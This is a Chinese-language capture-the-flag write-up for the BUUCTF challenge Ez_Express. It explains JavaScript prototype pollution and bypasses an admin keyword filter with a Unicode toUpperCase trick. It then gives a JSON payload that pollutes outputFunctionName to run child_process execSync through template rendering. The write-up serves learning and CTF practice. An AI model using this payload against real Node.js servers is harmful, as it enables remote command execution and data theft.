什么是原型链污染

  • 简单而言,在javascript中,实例化对象,函数,它们都继承自该语言预设的一个原型类:Object.prototype
    那么我们可以把修改过的__proto__属性给任意一个空对象{},而该空对象的原型类即为Object.prototype,该空对象__proto__属性的值,(该属性值一般写作{"__proto__":"xxx":"恶意代码"})即为原型类Object.prototype的属性值,通过给子对象添加__proto__属性,并且在其中添加如"a":"恶意代码",这样的值,就会使原型类获得这个a属性。
  • 原型类Object.prototype中有的属性,所有子类都会继承该属性。从而达到原型链被污染的目的。

例题

  • buuctf上的例题:[GYCTF2020]Ez_Express
  • 进入网页:

随便注册个用户试试:
注册后登录没有任何东西,于是我们去看前端源码,记住,查源码这是基本操作,在每个网页都要这样试试看。
发现一行注释:

提示我们要下载该文件。看来不是sql注入题了。
我们可以使用dirsearch这种工具搜索该文件处于哪个目录下,采用如下payload,并且发现,马上就扫出来了,www.zip就在根目录下

于是直接访问该文件进行下载
获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {//merge函数,明显为原型链污染
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a//把b中的值全部覆盖到a中,返回a。重合的属性会被迭代覆盖
}
const clone = (a) => {
return merge({}, a);
}//直接拷贝a对象
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}//需要检测到keyword中是否包含admin关键字,如果有则返回undefined,否则返回keyword

//function到此为止

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}//如果没有用户,则定向到登录页面
res.outputFunctionName=undefined;//默认会将outputFunctionName设置为undefined
res.render('index',data={'user':req.session.user.user});//渲染index页面,并传入用户信息
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {//登录页面的post请求处理函数,主要用于验证用户输入的用户名和密码是否正确
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){//检测到用户输入的userid中是否包含admin关键字
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}//这部分即是对注册关键字的过滤。
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}//验证用户名和密码是否匹配,否则输出未注册
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}//错误密码

}
res.redirect('/'); ;
});//该部分即是对用户登录的处理,验证1是否存在用户、是否存在恶意关键字、密码是否正确。

router.post('/action', function (req, res) {//这里的前提条件都是没找到admin关键字
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);//拷贝请求体输入数据到session的用户数据中
res.end("<script>alert('success');history.go(-1);</script>");
});//成功登入
router.get('/info', function (req, res) {//info路径传输请求。
res.render('index',data={'user':res.outputFunctionName});//主要寻找可以被修改的变量值,并且寻找其传输目标。
})//express框架使用render渲染视图,
module.exports = router;
  • 我们开始代码审计环节
    以上代码我已经大概了解其意,并且进行了相关注释,接下来着重说明重点代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    const merge = (a, b) => {//merge函数,明显为原型链污染
    for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
    merge(a[attr], b[attr]);//对于键相同的属性,将属性值"取并集",即进行迭代合并
    } else {
    a[attr] = b[attr];//a中有b中没有的键,直接在a中进行添加。
    }
    }
    return a//把b中的值全部覆盖到a中,返回a。重合的属性会被迭代覆盖
    }
    const clone = (a) => {
    return merge({}, a);
    }//利用merge函数直接拷贝a对象,即创建了一个拷贝函数

    我们可以利用该函数对a对象的拷贝,将a对象中的属性拷贝于空对象{}中,这样可以让空对象{}带上__proto__属性并在该属性中写入恶意代码导致原型链污染。

  • 接下来的思路就是明确该块代码哪里有我们可以利用的漏洞点,即哪里使用了clone函数。
    可以发现在以下这段代码:

    1
    2
    3
    4
    5
    6
    7
    8
    router.post('/action', function (req, res) {//这里的前提条件都是没找到admin关键字
    if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
    req.session.user.data = clone(req.body);//拷贝请求体输入数据到session的用户数据中
    res.end("<script>alert('success');history.go(-1);</script>");
    });//成功登入
    router.get('/info', function (req, res) {//info路径传输请求。
    res.render('index',data={'user':res.outputFunctionName});//主要寻找可以被修改的变量值,并且寻找其传输目标。
    })//express框架使用render渲染视图,

    但是这里我们不知道怎么构建具体的payload,根据其他师傅的wp,我们可以大概得知:

    • 这里render函数可以把data中的值进行渲染,从而执行恶意代码。

    • 根据nodejs的概念,res是一个实例化对象,这里render会执行data中的res对象的outputFunctionName属性中的值,res本身无这个属性的话,js会沿着原型链向上寻找属性,由于我们会污染Object.prototype,在其中构建值为恶意代码的outputFunctionName,所以res的属性最终会在原型中被js找到,然后被执行。
      所以那我们就需要对这个outputFunctionName的值进行修改,将其修改为可执行恶意代码。

    • 这里又有几个问题:

      • 为什么我们选择outputFunctionName而非另外一个也被渲染过的data值:user.user?
        因为user.user在设置用户名的时候就会被赋值,并且还有一个重点:
        即这个clone()函数要生效,必须要user.user有值且等于admin
        因为这里有如下一行代码:

        1
        if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 

        在Express代码中,一旦调用res.end,Express会立即发送响应并终止当前路由处理函数的执行(后续代码如clone不会运行)。所以我们需要先让user.user值为”ADMIN”。

      • 这里我们有需要继续往前推理:
        因为该题我们直接使用admin或者ADMIN这样的单词作为用户名的话,即让user.user === ADMIN会被以下这段代码给过滤:

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        function safeKeyword(keyword) {
        if(keyword.match(/(admin)/is)) {
        return keyword
        }
        //......
        router.post('/login', function (req, res) {//登录页面的post请求处理函数,主要用于验证用户输入的用户名和密码是否正确
        if(req.body.Submit=="register"){
        if(safeKeyword(req.body.userid)){//检测到用户输入的userid中是否包含admin关键字
        res.end("<script>alert('forbid word');history.go(-1);</script>")
        }
        req.session.user={
        'user':req.body.userid.toUpperCase(),
        'passwd': req.body.pwd,
        'isLogin':false
        }

        这里的safekeyword函数会把不管大小写如何的admin关键字给过滤掉,导致我们无法对user.user赋值为ADMIN。

      • 但是我们可以发现一个关键:

        1
        2
        3
        4
        5
        req.session.user={
        'user':req.body.userid.toUpperCase(),
        'passwd': req.body.pwd,
        'isLogin':false
        }

        请求中的session.user.user属性会被toUpperCase()处理。这里是一个经典的js漏洞,我们可以参考p师傅的博客:
        Fuzz中的javascript大小写特性

        即我们把用户名写作:admın,这里面的ı字符在toUpperCase处理后就会变为字符I,这样我们就可以绕过safekeyword函数的过滤,并且做到了让user.user的值为ADMIN,这样我们就可以成功执行clone函数了

  • 接下来使用该用户名注册账户后,前端给出提示,说flag在/flag路径下。

    我们又试着在该输入框中随便输入了一个数字获取以下效果:

    这里直接就访问了/action路径。

    因为clone函数是在/action路径下接收post请求,并且执行clone函数,clone对象即为请求体
    所以我们即是要在/action路径下发送post请求并在请求体中构建payload,将payload以json格式发过去而非常规键值对格式。

    1
    2
    3
    4
    5
    outer.post('/action', function (req, res) {//这里的前提条件都是没找到admin关键字
    if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
    req.session.user.data = clone(req.body);//拷贝请求体输入数据到session的用户数据中
    res.end("<script>alert('success');history.go(-1);</script>");
    });//成功登入
  • payload构建详解:
    payload为

    1
    {"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}
  • 首先可以去菜鸟了解nodejs的全局对象global以及其属性(也是一个对象)process,process为构造函数,其下有属性即对象mainModule,该对象记录了当前程序入口文件进程的数据,而其构造函数原型即constructor属性则指向Module构造函数的prototype,该prototype下有方法_load,而_load('child_process')即创建子进程,本质就是新建一个进程并且执行操作系统环境命令,采用.execSync('cat /flag');方法,对/flag目录进行抓取,获取flag。

  • 另外,关于为什么在payload中书写__proto__属性时需要写a=1字样,这是因为,如果直接写return关键字,模板引擎尝试解析return语句,但缺少函数调用上下文,触发SyntaxError。这点已经验证了。

  • 再读源码,发现访问/info路径就可以使outputFunctionName被读取执行,获取flag文件。

  • 另外,关于/info路由下对该属性进行渲染后,其他页面进行刷新也可以运行该代码的解释:
    只能解释为render对该函数进行了编译,所以其他路由也优先调用了这个代码。